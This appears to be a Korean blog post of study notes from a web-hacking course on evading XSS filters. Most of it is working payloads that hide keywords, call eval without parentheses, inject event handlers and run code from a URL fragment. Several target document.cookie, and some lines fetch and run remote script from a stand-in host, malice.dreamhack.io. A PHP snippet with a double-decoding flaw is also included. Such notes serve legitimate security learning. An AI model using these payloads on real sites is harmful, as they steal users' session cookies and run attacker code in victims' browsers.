CIDY
[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-2 본문
*자바스크립트 키워드 필터링
자바스크립트는 Unicode escape sequence를 지원한다. -> 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법이다. ("\uAC00" == "가")
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
따라서 위와 같은 필터링 문자열 우회가 가능해진다.
또, 자바스크립트는 Computed member access를 지원한다.
document["coo"+"kie"] == document["cookie"] == document.cookie
위와 같이 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능을 말한다.
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
그래서 위와 같은 우회가 가능해진다.
다음은 XSS공격에 자주 사용되는 구문과 그에 해당하는 필터링 우회 방법이다.
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 | window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 |
window | self, this (this['al'+'ert']) 이렇게 쓸 수 있음. |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 |
자바스크립트의 언어적 특성을 잘 활용한다면 [ ] ( ) ! +만으로 모든 동작을 수행할수도 있다고 한다.
필터링이나 인코딩/디코딩과 같은 이유로 특정 문자를 사용하지 못하는 경우 -> 이를 대체하여 우회, 공격할 수 있다.
만약 " 나 '와 같이 따옴표가 필터링되었을 경우, 템플릿 리터럴(Template Literal)을 이용할 수 있다.
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
위는 템플릿 리터럴 이용 예시이다. 템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴인데, 여러 줄로 이루어진 문자/문자열을 보관하는 용도로 쓸 수 있다.
템플릿 리터럴은 백틱(`)을 이용해 선언할 수 있고, 내장된 &{}표현식을 이용해 다른 변수나 식을 사용할 수 있다.
따옴표, 백틱 모두 이용 불가할 때도 문자열을 만들 수 있다.
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
위와 같이 / / 사이에 문자열을 써서 RegExp객체를 생성한 뒤 객체의 패턴 부분을 가져와 문자열을 만들 수 있다.
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
또는 위와 같이 유니코드 범위에서 해당 문자를 반환하는 String.fromCharCode 함수를 이용해 문자열을 만들 수도 있다.
내장 함수나 객체의 형태를 toString함수를 이용(기본 내장 함수, 객체의 문자 사용)해 문자열로 변환할 수 있다. -> 원하는 문자열에 필요한 문자들을 내장 함수/객체로부터 하나씩 떼올 수 있다.
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
위 코드에서 history.toString은 [object History]라는 문자열을 반환하고([가 0번째, H가 8번째), URL.toString의 경우 function URL() { [native code] }문자열을 반환한다. 그리고 history+[]; history+0; 과 같이 함수 또는 객체와 산술 연산을 수행할 경우 연산을 위해 내부적으로 toString함수를 호출해 문자열로 변환한 뒤 연산을 수행하는 점을 이용할 수도 있다.(두 번째 줄)
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
10진수 숫자를 36진수로 변환해 아스키 영어 소문자 범위를 모두 생성할 수 있다. 이 때 E4X연산자 == .. (숫자 객체의 진법 변환 방식으로 문자열 만들기)이 이용되는데, 첫 번째 줄처럼 점 두 개를 쓰거나, 두 번째 줄처럼 공백 + 점으로 쓸 수 있다.
*자바스크립트 함수 필터링
alert(1); // Parentheses
alert`1`; // Tagged Templates
자바스크립트 함수 호출을 위해서는 위와 같이 ()나 백틱(Tagged Templates)이 필요하다.
둘 다 필터링된 경우 다음과 같은 우회법이 있다.
javascript: 스키마를 이용하면 URL을 이용해 JS코드를 실행시킬 수 있음 -> location객체를 변조해 JS코드를 실행하는 것이 가능하다.
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
위는 해당 스키마를 이용한 우회 예시이다.
자바스크립트는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol을 속성 명칭으로 이용할 수 있다.
Symbol.hasInstance 라는 well-known 심볼을 이용하면, instanceof연산자를 오버라이드 할 수 있다. -> O instanceof C를 연산할 때 C에 Symbol.hasInstance속성에 함수가 있을 경우, 메소드로 호출해 instanceof연산자의 결과값으로 이용하게 됨 -> instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있다.
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
위는 hasInstance를 이용한 우회 예시이다.
자바스크립트에서는 문서 내에 새로운 HTML코드를 추가하는 게 가능함. -> document.body.innerHTML에 코드를 추가할 경우, 새로운 HTML코드가 문서에 추가됨 -> 자바스크립트 코드 실행 가능
(*단, innerHTML로 HTML코드를 실행할 경우 스크립트 태그는 실행되지 않는다 -> 이벤트 핸들러로 실행)
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
위는 innerHTML을 이용한 우회 예시이다.
->필터링 우회 예시1
위와 같이 키워드를 쪼개어 우회할 수 있다.
->필터링 우회 예시2
대부분 키워드와 특수문자가 필터링되어 decodeURI, atob, constructor속성을 함께 이용해 우회해야 한다.
constructor(alert(document.cookie))(); 를 만든 것이다.
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
ㄴ이렇게 할 수도 있다.
->필터링 우회 예시3
()마저 필터링되었다.
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
*디코딩 전 필터링
입력 검증은 디코딩과 같은 전처리 작업 이후 이루어짐 -> 검증이 끝난 데이터를 디코딩해서 쓰면 안 됨
만약 애플리케이션이 전달받은 데이터를 다시 디코딩해서 사용할 경우, 공격자는 더블 인코딩으로 방화벽 검증을 우회할 수 있게 된다.
이처럼 검증 이후 한 번 더 디코딩하는 것은 매우 취약하다.
<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
header("HTTP/1.1 403 Forbidden");
die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>
php애플리케이션 코드도 마찬가지인데, 위와 같이 더블 디코딩 취약점이 있는 경우, URL을 더블 인코딩하여 검증 우회가 가능하다.
*길이 제한
삽입 가능한 코드 길이가 한정적일 경우, 다른 경로로 실행할 추가 코드(payload)를 URL fragment로 삽입한 뒤, 삽입 지점에서는 본 코드를 실행하는 짧은 코드(launcher)를 사용할 수 있다.
Fragment로 스크립트를 넘겨준 뒤, XSS지점에서 location.hash로 URL의 Fragment부분을 추출해 eval()로 실행하는 기법이 있다.
이외에 쿠키에 페이로드를 저장하는 방식이나, import와 같은 외부 자원을 스크립트로 로드할 수도 있다.
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
location.hash를 이용해 위와 같이 공격할 수 있다.
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
위와 같이 외부 자원을 활용할 수도 있다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Web_Hacking] AD(client): stage3_Content Security Policy (0) | 2022.08.01 |
---|---|
[Web_Hacking] AD(client): stage2_문제풀이(XSS Filtering Bypass Advanced) (0) | 2022.07.31 |
[Web_Hacking] AD(client): stage2_문제풀이(XSS Filtering Bypass) (0) | 2022.07.31 |
[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-1 (0) | 2022.07.30 |
[Web_Hacking] stage10_문제풀이(blind-command) (0) | 2022.07.30 |